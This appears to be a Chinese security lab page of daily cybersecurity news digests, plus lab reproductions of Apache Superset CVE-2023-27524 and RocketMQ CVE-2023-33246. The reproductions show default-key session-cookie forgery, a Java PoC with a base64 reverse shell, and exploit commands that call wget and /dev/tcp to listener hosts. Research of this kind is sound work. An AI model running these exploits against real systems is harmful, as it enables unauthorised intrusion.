https://www.securityweek.com/norton-parent-says-employee-data-stolen-in-moveit-ransomware-attack/ Gen Digital(纳斯达克股票代码:GEN)是 Avast、Avira、AVG、诺顿和 LifeLock 等知名网络安全品牌背后的公司,已确认员工的个人信息在最近的 MOVEit 勒索软件攻击中遭到泄露。该攻击利用了Progress Software 于 5 月 31 日披露的 MOVEit Transfer 管理文件传输 (MFT) 软件中的 零日漏洞。该漏洞的大规模利用被追踪为 CVE-2
10、Zyxel 针对 NAS 设备中的严重漏洞发布紧急安全更新
https://thehackernews.com/2023/06/zyxel-releases-urgent-security-updates.html Zyxel 已推出安全更新,以解决其网络附加存储 (NAS) 设备中的关键预身份验证命令注入漏洞,该漏洞可能导致在受影响的系统上执行任意命令。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介
Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。
环境搭建
可以通过 fofa 来搜索相关网站
"Apache Superset"
这里我们通过 docker 来在本地搭建环境
git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up
官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找
https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init
漏洞复现
利用脚本检测是否存在漏洞并生成相对应的 cookie
访问主页抓取数据包
将生成的 session 替换原本的 session
成功登录
接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。
经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
漏洞分析
感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。
整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。
首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中
>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}
漏洞修复
拒绝在非调试环境中使用默认密码启动
网络安全日报 2023年06月20日
1、西部数据将过时的NAS设备从My Cloud中移除
https://www.westerndigital.com/support/product-security/wdc-23009-western-digital-my-cloud-os-5-my-cloud-home-and-sandisk-ibi-firmware-update 西部数据(Western Digital)是一家知名的存储设备制造商,其旗下的My Cloud是一种个人云存储解决方案,可以让用户在家庭或办公室中保存和共享数据。然而,近日西部数据宣布,将从2023年6月30日起停止对部分旧款NAS设备的支持,并将它们从My Cloud服务中移除。这些设备包括My Cloud、M
2、SMS传送报告可被用于推断收件人的位置
https://arxiv.org/pdf/2306.07695.pdf SMS传送报告(SMS delivery report)是一种由移动网络发送的通知,用于确认短信是否成功送达到目标收件人。SMS传送报告包含了一些有关短信发送和接收的信息,例如发送时间、送达时间、送达状态等。然而,近日有研究人员发现,短信送达报告也可以被用于推断收件人的位置。这是因为不同的移动网络运营商在处理短信送达报告时,会使用不同的时间戳格式。例如,有些运营商会使用秒级的时间戳,而有些运营商会使用毫秒级的时间戳。这样,通过比较发送时间和送达时间的差异,就可以推测出收件人所在的时区。此外,有些运营商还会在短信送达报告
3、Reddit遭黑客窃取80GB数据并被勒索赎金
https://www.reddit.com/r/reddit/comments/10y427y/we_had_a_security_incident_heres_what_we_know/?onetap_auto=true Reddit是一个社交新闻聚合网站,拥有数亿用户。今年2月,Reddit遭到了一场网络攻击,黑客利用了一个未公开的漏洞,入侵了Reddit的服务器,窃取了约80GB的数据,包括用户信息、私信、评论、帖子等。黑客自称是BlackCat/ALPHV勒索软件团伙,他们在暗网上发布了部分数据的截图,要求Reddit支付1000比特币(约合4000万美元)的赎金,否则就会公开全部
4、CISA和NSA发布服务器管理控制器加固指南
https://media.defense.gov/2023/Jun/14/2003241405/-1/-1/0/CSI_HARDEN_BMCS.PDF CISA(美国网络安全与基础设施安全局)和NSA(美国国家安全局)于2023年6月14日联合发布了一份网络安全信息表(CSI),重点介绍了服务器管理控制器(BMC)实现的威胁,并详细说明了组织可以采用的加固措施。BMC是嵌入在计算机硬件中的重要组件,可以实现远程管理和控制。它们独立于操作系统和固件运行,即使系统关闭也可以保证无缝控制。然而,由于它们具有高权限级别和网络可访问性,这些设备使它们成为恶意行为者的有吸引力的目标。CISA和NSA强
5、Windows Sysmon本地提权漏洞的PoC公开
https://securityonline.info/poc-released-for-windows-sysinternals-sysmon-privilege-escalation-cve-2023-29343-bug/ Windows Sysmon是一个系统服务和设备驱动程序,可以监控和记录系统活动到Windows事件日志。2023年5月9日,微软披露了一个影响Sysmon的本地提权漏洞,编号为CVE-2023-29343,该漏洞可以让已认证的攻击者获取SYSTEM权限,这是Windows环境中最高级别的权限。这个漏洞的原因在于Sysmon验证其归档目录的访问和所有权的方式。微软已经
6、Rhysida 勒索软件泄露了从智利军队窃取的文件
https://www.bleepingcomputer.com/news/security/rhysida-ransomware-leaks-documents-stolen-from-chilean-army/ 最近浮出水面的名为 Rhysida 的勒索软件行动背后的威胁参与者已经在网上泄露了他们声称是从智利军队 (Ejército de Chile) 网络中窃取的文件。
7、MOVEit Transfer 客户警告 PoC 信息出现新缺陷
https://www.bleepingcomputer.com/news/security/moveit-transfer-customers-warned-of-new-flaw-as-poc-info-surfaces/ 在今天在线共享有关新 SQL 注入 (SQLi) 漏洞的信息后,Progress 警告 MOVEit Transfer 客户限制对其环境的所有 HTTP 访问。
8、勒索软件黑客和骗子利用云挖矿洗钱
https://thehackernews.com/2023/06/ransomware-hackers-and-scammers.html 来新发现显示,勒索软件参与者和加密货币诈骗者已与民族国家参与者一起滥用云挖矿服务来清洗数字资产。
9、统一全球网络安全设备的测评方法!网络安全标准化将迎来重大进展
https://www.secrss.com/articles/55710 行业组织NetSecOpen最近发布了新版网络安全设备性能基准测试指南草案,预计将在今年晚些时候正式采纳。NetSecOpen是一家由众多网络安全公司和硬件测试组织组成的行业联合会。
10、华硕修补了 9个WiFi 路由器的严重漏洞
https://www.securityweek.com/asus-patches-highly-critical-wifi-router-flaws/ 华硕修补了 9 个 WiFi 路由器安全缺陷,包括 2018 年的一个非常严重的漏洞,该漏洞使用户面临代码执行攻击。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月19日
1、供应链攻击者利用S3桶劫持技术投毒NPM包
https://checkmarx.com/blog/hijacking-s3-buckets-new-attack-technique-exploited-in-the-wild-by-supply-chain-attackers/? S3桶是一种由亚马逊网络服务(AWS)提供的存储资源,允许用户通过互联网存储和检索大量数据。它是一种可扩展、安全的对象存储服务,可以存储文件、文档、图像、视频和任何其他类型的数字内容。S3桶可以使用唯一的URL访问,因此被广泛用于各种目的,如网站托管、数据备份和归档、内容分发和应用程序数据存储。近日,一种新的攻击技术被发现在野外被供应链攻击者利用。攻击者在不
2、GravityRAT恶意软件可窃取Android设备上的WhatsApp备份
https://www.welivesecurity.com/2023/06/15/android-gravityrat-goes-after-whatsapp-backups/ GravityRAT是一种跨平台的远程访问木马,可以针对Windows、Android和macOS设备。该恶意软件被认为是由巴基斯坦的网络间谍组织SpaceCobra开发和使用的,主要针对印度的军事人员。最近,研究人员发现了一个新版本的Android GravityRAT恶意软件,伪装成消息应用BingeChat和Chatico.这个新版本的GravityRAT具有两个新的功能:可以窃取WhatsApp备份文件,并
3、美国逮捕涉嫌参与LockBit勒索软件的俄罗斯人
https://www.justice.gov/d9/2023-06/astamirov.complaint.pdf LockBit是一种勒索软件,可以加密受害者的数据,并要求支付赎金以恢复访问。该软件采用勒索软件即服务(RaaS)的模式,由一个核心团队招募附属成员来执行攻击,并从赎金中分成。LockBit自2019年底出现以来,已经对美国和其他国家的数千个组织发动了攻击,涉及政府、医疗、教育、法律、制造等多个行业。美国司法部(DoJ)于2023年6月16日宣布,已经逮捕并起诉一名俄罗斯公民,Ruslan Magomedovich Astamirov,指控他参与了LockBit勒索软件的活动
4、智利军队遭遇新兴勒索软件Rhysida的攻击
https://www.cronup.com/ejercito-de-chile-es-atacado-por-la-nueva-banda-de-ransomware-rhysida/ Rhysida是一种新兴的勒索软件,可以加密受害者的数据,并要求支付赎金以恢复访问。该软件由一个未知的犯罪团伙开发和使用,自2023年5月以来已经对多个组织发动了攻击,涉及教育、医疗、政府等多个行业。2023年5月27日,智利军队遭遇了Rhysida勒索软件的攻击,影响了其内部网络的多个系统。军方在两天后确认了这一事件,并采取了应急措施,如禁止开启计算机、断开网络连接、备份数据等,以防止进一步的损失。智利政
5、美国联邦调查局加强打击非法DDoS攻击
https://www.fbi.gov/contact-us/field-offices/anchorage/fbi-intensify-efforts-to-combat-illegal-ddos-attacks 美国联邦调查局(FBI)和国际执法机构加强了打击非法分布式拒绝服务(DDoS)攻击的努力。DDoS攻击是一种网络犯罪,通过向目标服务器或网络资源发送大量无用的请求,使其无法为合法用户提供服务。DDoS攻击有两种形式:一种是使用自己控制的恶意软件感染的计算机网络(即僵尸网络)发起攻击,另一种是通过付费购买所谓的“Booter”或“Stresser”服务,利用已存在的感染网络发起攻击
6、印度制药巨头Granules遭LockBit勒索软件攻击
https://techcrunch.com/2023/06/15/lockbit-ransomware-granules-india/ 印度制药巨头Granules India近日遭到了与俄罗斯有关的勒索软件团伙LockBit的网络攻击,部分数据被窃取并公开在暗网上。LockBit在其泄露网站上于周三将Granules India列为其最新的受害者之一。Granules India尚未证实这次勒索软件攻击。然而,该公司上个月向印度证券交易所披露了一起网络安全事件,并表示已经隔离了受影响的IT资产。Granules India成立于1984年,是印度最大的制药生产商之一。总部位于海得拉巴的该
7、MOVEit Transfer和MOVEit Cloud存在严重漏洞
https://www.progress.com/security/moveit-transfer-and-moveit-cloud-vulnerability MOVEit Transfer和MOVEit Cloud是Progress Software公司提供的文件传输系统,广泛应用于公共部门和企业。然而,这两个系统存在一个严重的漏洞(CVE-2023-34362),可能导致权限提升和潜在的未经授权的访问。该漏洞于2023年5月被Progress公司披露,并在48小时内发布了调查结果、缓解措施和安全补丁。但是,该漏洞仍被一些黑客利用,用于窃取客户的数据或部署勒索软件。根据Checkpoin
8、黑客假冒LetsVPN网站传播银行木马
https://blog.cyble.com/2023/06/16/new-malware-campaign-targets-letsvpn-users/ 研究人员发现了一个新的恶意软件活动,利用假冒的LetsVPN网站来传播多种恶意软件。 LetsVPN是一款由LetsGo Network开发的VPN应用程序,旨在提供高速和安全的网络连接。研究人员在进行常规的威胁狩猎时,发现了多个伪造的LetsVPN网站,这些网站与真正的LetsVPN网站在设计和外观上非常相似,但实际上是用来分发恶意软件的。这些恶意软件包括BlackMoon、AgentTesla、Formbook等银行木马,它们都是伪装
9、美国政府悬赏1000万美元缉拿Clop勒索软件幕后人员
https://www.bleepingcomputer.com/news/security/us-govt-offers-10-million-bounty-for-info-on-clop-ransomware/ 美国国务院的“正义奖励”计划近日宣布,将为提供与外国政府有关的Clop勒索软件攻击的信息提供高达1000万美元的奖金。Clop是一个活跃的勒索软件团伙,曾被指与俄罗斯有关联。该团伙曾袭击过多个高调目标,包括美国大型肉类加工商JBS、韩国电子巨头LG、德国软件公司Software AG、法国零售商E.Leclerc等。Clop还涉嫌与FIN11网络犯罪集团合作,后者是一个以网络钓
10、微软发布对DDoS服务攻击的应对策略和建议
https://msrc.microsoft.com/blog/2023/06/microsoft-response-to-layer-7-distributed-denial-of-service-ddos-attacks/ 微软安全响应中心(MSRC)发布了一篇博客文章,介绍了微软对第七层分布式拒绝服务(DDoS)攻击的应对策略和建议。第七层DDoS攻击是指针对应用程序层的攻击,如HTTP、HTTPS、DNS等,目的是消耗目标服务器的资源或影响其功能。微软表示,近期发现了一些针对其云服务和在线服务的第七层DDoS攻击,其中一些攻击使用了复杂的技术,如HTTP/2协议、TLS 1.3加密、
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。
影响版本
<=RocketMQ 5.1.0
<=RocketMQ 4.9.5
环境搭建
docker pull apache/rocketmq:4.9.4
root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv //起nameserver
创建broker.conf,并且修改配置文件内容
root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf //起Broker
docker ps
http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget 10.10.14.162:8666/1.txt
使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题
cd vulhub/rocketmq/CVE-2023-33246
docker-compose up -d
POC如下
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;
import java.util.Properties;
public class poc {
private static String getCmd(String ip, String port) {
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}
public static void main(String[] args) throws Exception {
String targetHost = "目的IP";
String targetPort = "10911";
String shellHost = "VPSIP";
String shellPort = "Listen-port";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
props.setProperty("filterServerNums", "1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
// admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
使用IDEA创建maven项目,创建xml文件下载依赖,下载地址
https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>4.9.4</version>
</dependency>
修改POC
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;
import java.util.Properties;
public class poc {
private static String getCmd(String ip, String port) {
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}
public static void main(String[] args) throws Exception {
String targetHost = "10.10.14.72";
String targetPort = "10911";
String shellHost = "10.10.14.72";
String shellPort = "65532";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
props.setProperty("filterServerNums", "1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
// admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
反弹结果
git clone https://github.com/SuperZero/CVE-2023-33246.git
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt"
进入容器,查看根部录下文件是已写入
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1"
反弹shell
漏洞分析
启动broker路由如下:
main:50, BrokerStartup (org.apache.rocketmq.broker)
start:55, BrokerStartup (org.apache.rocketmq.broker)
start:1570, BrokerController (org.apache.rocketmq.broker)
startBasicService:1527, BrokerController (org.apache.rocketmq.broker)
start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)
当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行
调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand
该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd
进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令
该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
网络安全日报 2023年06月16日
1、Azure 中的 XSS 漏洞导致未经授权访问用户会话
https://www.securityweek.com/xss-vulnerabilities-in-azure-led-to-unauthorized-access-to-user-sessions/Microsoft 解决了 Azure Bastion 和 Azure 容器注册表 (ACR) 中的两个跨站点脚本 (XSS) 漏洞,可导致未经授权访问用户会话。
2、Vidar 恶意软件使用新策略来逃避检测和匿名化活动
https://thehackernews.com/2023/06/vidar-malware-using-new-tactics-to.htmlVidar 恶意软件背后的威胁行为者已经对其后端基础设施进行了更改,表明他们试图重组和隐藏他们的在线踪迹,以响应对其作案手法的公开披露。
3、GravityRAT Android 木马窃取 WhatsApp 备份和删除文件
https://thehackernews.com/2023/06/warning-gravityrat-android-trojan.html自 2022 年 6 月以来,一个名为GravityRAT的 Android 远程访问木马的更新版本被发现伪装成消息传递应用程序 BingeChat 和 Chatico,ESET 研究员 Lukáš Štefanko在发布的一份新报告中说:“在新发现的活动中值得注意的是,GravityRAT 可以泄露 WhatsApp 备份并接收删除文件的命令。
4、新的供应链攻击利用废弃的 S3 存储桶分发恶意二进制文件
https://thehackernews.com/2023/06/new-supply-chain-attack-exploits.html在针对开源项目的新型软件供应链攻击中,威胁行为者可以控制过期的 Amazon S3 存储桶来为流氓二进制文件提供服务,而无需更改模块本身。
5、微软揭露俄罗斯军方新型黑客组织Cadet Blizzard
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/微软近日追踪到一波来自俄罗斯军事情报总局(GRU)下属的黑客组织“Cadet Blizzard”的网络攻击。这些攻击从2023年2月开始,针对乌克兰的政府机构和IT服务提供商。微软还将2022年1月俄罗斯入侵乌克兰前对乌克兰发动的破坏性“WhisperGate”擦除攻击归咎于“Cadet Blizzard”。“Cadet Blizzard”通常通过
6、美国、加拿大和其他五国网络安全机构联合发布 LockBit 勒索软件报告
https://securityaffairs.com/147482/cyber-crime/lockbit-ransomware-advisory.html美国、加拿大和其他五个国家的网络安全机构在周三发布了一份联合警告,指出以“LockBit”为旗号的数字勒索团伙是全球最大的勒索软件威胁。LockBit勒索软件是一种恶意软件,用于加密受害者的数据,直到支付赎金为止。根据警告,LockBit是网络犯罪分子最广泛使用的勒索软件之一。“2022年,LockBit是全球部署最多的勒索软件变体,并且在2023年仍然很活跃。”警告说,“LockBit及其附属组织已经对全球各地的大大小小的组织造成了负面
7、黑客利用云挖矿平台分发Roamer银行木马
https://blog.cyble.com/2023/06/14/cloud-mining-scam-distributes-roamer-banking-trojan/研究人员揭露了一种云挖矿诈骗,利用网络钓鱼来分发Roamer银行木马,目标是Android平台的加密货币钱包和银行应用,旨在窃取敏感信息。Roamer银行木马是一种恶意软件,利用辅助功能服务来执行恶意操作。一旦安装,该恶意软件请求用户启用辅助功能服务,一旦授予,它就会滥用该服务来提取加密货币钱包和银行应用中的敏感信息,如账户余额、货币类型、交易金额和收款人信息。该恶意软件通过网络钓鱼网站来诱骗用户下载一个名为“CloudMi
8、在多个 HP 多功能一体机产品中检测到严重漏洞,补丁已发布
https://thecyberexpress.com/critical-hp-printer-vulnerability-patch/HP 打印机漏洞影响了多个型号,可能导致缓冲区溢出和远程代码执行。HP LaserJet MFP 漏洞的严重性评分为 9.8,被认为是高度严重的漏洞。
9、Windows和MacOS平台上发现多个Zoom漏洞,已发布补丁
https://thecyberexpress.com/zoom-vulnerabilities-windows-macos-patched/最新的Zoom漏洞列表已经出来了,其中几个漏洞的严重程度非常高。此次发布的补丁针对六个漏洞。
10、虚假研究人员通过 GitHub 存储库发布PoC传播恶意软件
https://thehackernews.com/2023/06/fake-researcher-profiles-spread-malware.html观察到与欺诈性网络安全公司相关的虚假研究人员的十几个GitHub帐户中至少有一半在代码托管服务上推送恶意存储库。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月15日
1、盗版ISO文件通过EFI分区安装剪贴板恶意软件
https://news.drweb.com/show/?i=14712&lng=en& 近日,研究人员发现黑客通过种子分发Windows 10,将加密货币劫持器隐藏在EFI(可扩展固件接口)分区中,以逃避检测。EFI分区是一个小的系统分区,包含了在操作系统启动之前执行的引导加载程序和相关文件。它对于使用UEFI替代了过时的BIOS的系统是必不可少的。之前有过利用修改过的EFI分区来从操作系统的上下文之外激活恶意软件的攻击,例如BlackLotus。但是,研究人员发现的盗版Windows 10 ISO文件只是使用EFI作为剪贴板组件的安全存储空间。由于标准的杀毒工具通常不会扫描EFI分区,恶
2、仿冒WannaCry的勒索软件攻击俄罗斯游戏社区
https://blog.cyble.com/2023/06/13/threat-actor-targets-russian-gaming-community-with-wannacry-imitator/ 威胁行为者使用了一种仿冒WannaCry的勒索软件,针对俄罗斯的游戏社区进行了攻击。该勒索软件利用了EternalBlue漏洞,通过SMBv1协议在网络中传播。受害者的文件被加密,并显示了一个类似于WannaCry的勒索信息,要求支付0.1个比特币(约合4000美元)来解密文件。研究人员发现,该勒索软件并没有真正使用WannaCry的代码,而是使用了一个开源的加密工具来模仿WannaCr
3、Sygnia揭露了一场全球性的网络钓鱼活动
https://blog.sygnia.co/cracking-global-phishing-campaign-using-threat-intelligence-toolkit B根据Sygnia的博客,该公司的威胁情报团队发现并追踪了一场全球性的网络钓鱼活动,该活动针对多个行业和地区的组织,试图窃取用户的凭证和敏感数据。该活动使用了多种技术手段,包括域名欺骗、邮件伪造、网站克隆、SSL证书伪造等,来模仿合法的组织和服务,诱使用户点击恶意链接或附件。该活动还利用了一些合法的在线服务,如Google Forms、SurveyMonkey、Mailchimp等,来隐藏其恶意行为。Sygnia
4、Edge浏览器功能会将你浏览的图片发送回微软
https://www.malwarebytes.com/blog/news/2023/06/edge-browser-feature-sends-images-you-view-back-to-microsoft 根据研究人员的博客,微软Edge浏览器有一个名为“图片搜索”的功能,可以让用户在浏览网页时,右键点击任意图片,然后选择“在Bing中搜索此图片”,从而在Bing搜索引擎中找到该图片的相关信息。然而,这个功能也会将用户浏览的图片发送回微软的服务器,可能会导致用户的隐私泄露。研究人员发现,当用户使用这个功能时,Edge浏览器会将图片的URL和内容以及用户的IP地址和设备信息发送给微软
5、WooCommerce Stripe 插件严重漏洞影响数十万个电子商务网站
https://www.securityweek.com/hundreds-of-thousands-of-ecommerce-sites-impacted-by-critical-plugin-vulnerability/ WooCommerce Stripe 支付网关插件中的一个严重漏洞影响了数十万个电子商务网站。
6、Chrome 114 更新修补了严重漏洞
https://www.securityweek.com/chrome-114-update-patches-critical-vulnerability/ 谷歌发布了 Chrome 114 安全更新,以解决五个漏洞,包括自动填充支付中的一个严重漏洞。
7、Spotify 因违反欧盟数据规则被罚款 500 万美元
https://www.securityweek.com/spotify-fined-5-million-for-breaching-eu-data-rules/ 瑞典当局表示,音乐流媒体巨头 Spotify 被罚款 5800 万瑞典克朗(540 万美元),原因是未正确告知用户其收集的用户数据的使用方式。
8、门禁巨头遭勒索攻击,北约、阿里集团等多个实体受到影响
https://www.freebuf.com/news/369451.html Cyber News 网站披露,疑似与俄罗斯有关的勒索软件团伙 ALPV/BlackCat 袭击了安全门禁制造商Automatic Systems,北约、阿里巴巴、泰雷兹等多个实体组织可能受到影响。
9、苹果将在 iOS 17 引入新功能,Safari隐私浏览有重大更新
https://thehackernews.com/2023/06/apples-safari-private-browsing-now.html 苹果将在 iOS 17 引入新功能,Safari隐私浏览有重大更新。预计它们将在今年晚些时候在 iOS 17、iPadOS 17和macOS Sonoma上向用户推出。
10、中国网络空间安全协会发布《“在线影音类”App个人信息收集测试报告》
https://www.secrss.com/articles/55553 测试发现,腾讯视频、爱奇艺等8款App在5种场景下调用了位置、设备信息、应用列表、剪切板、存储5类系统权限,未发现调用相机、麦克风、通讯录等其他权限。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
